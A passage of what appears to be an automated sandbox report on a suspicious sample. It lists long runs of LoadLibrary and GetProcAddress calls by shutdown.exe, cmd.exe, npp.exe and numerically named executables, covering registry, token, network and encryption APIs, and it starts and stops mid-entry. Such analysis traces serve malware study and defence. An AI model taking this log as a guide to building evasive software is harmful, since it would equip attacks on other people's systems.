api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003792) "shutdown.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003792) "shutdown.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003792) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003572) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003572) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003572) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003572) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001388) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001388) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001388) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001388)33:Tf35f,"npp.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter CoInternetCreateZoneManager (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter ObjectStublessClient10 (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006112) "npp.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00006112) "2416522045.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter PathCanonicalizeW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CoInternetCreateZoneManager (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter FreeAddrInfoExW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter ObjectStublessClient10 (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter IUnknown_QueryService (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter DllGetClassObject_RetAddr (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter SxsLookupClrGuid (UID: 00000000-00003624) "2416522045.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00003624) "1253014599.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003336) "1691212729.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CoInternetCreateSecurityManager (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CoInternetCreateZoneManager (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetAddrInfoExW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter FreeAddrInfoExW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegOpenKeyW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter ConvertInterfaceGuidToLuid (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetIpForwardTable2 (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter GetIpNetEntry2 (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter FreeMibTable (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CoSetProxyBlanket (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter ObjectStublessClient10 (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CryptEncrypt (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter CryptVerifySignatureA (UID: 00000000-00002096) "1691212729.exe" called "GetProcAddress" with a parameter WSAGetOverlappedResult (UID: 00000000-00002096) "3092126301.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter GetSidSubAuthorityCount (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsA (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter AcquireSRWLockShared (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter ReleaseSRWLockShared (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter InitializeSecurityDescriptor (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter SetEntriesInAclW (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter GetMartaExtensionInterface (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter SetSecurityDescriptorDacl (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter PathCreateFromUrlW (UID: 00000000-00000384) "3092126301.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00000384) "3988039883.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002204) "3988039883.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 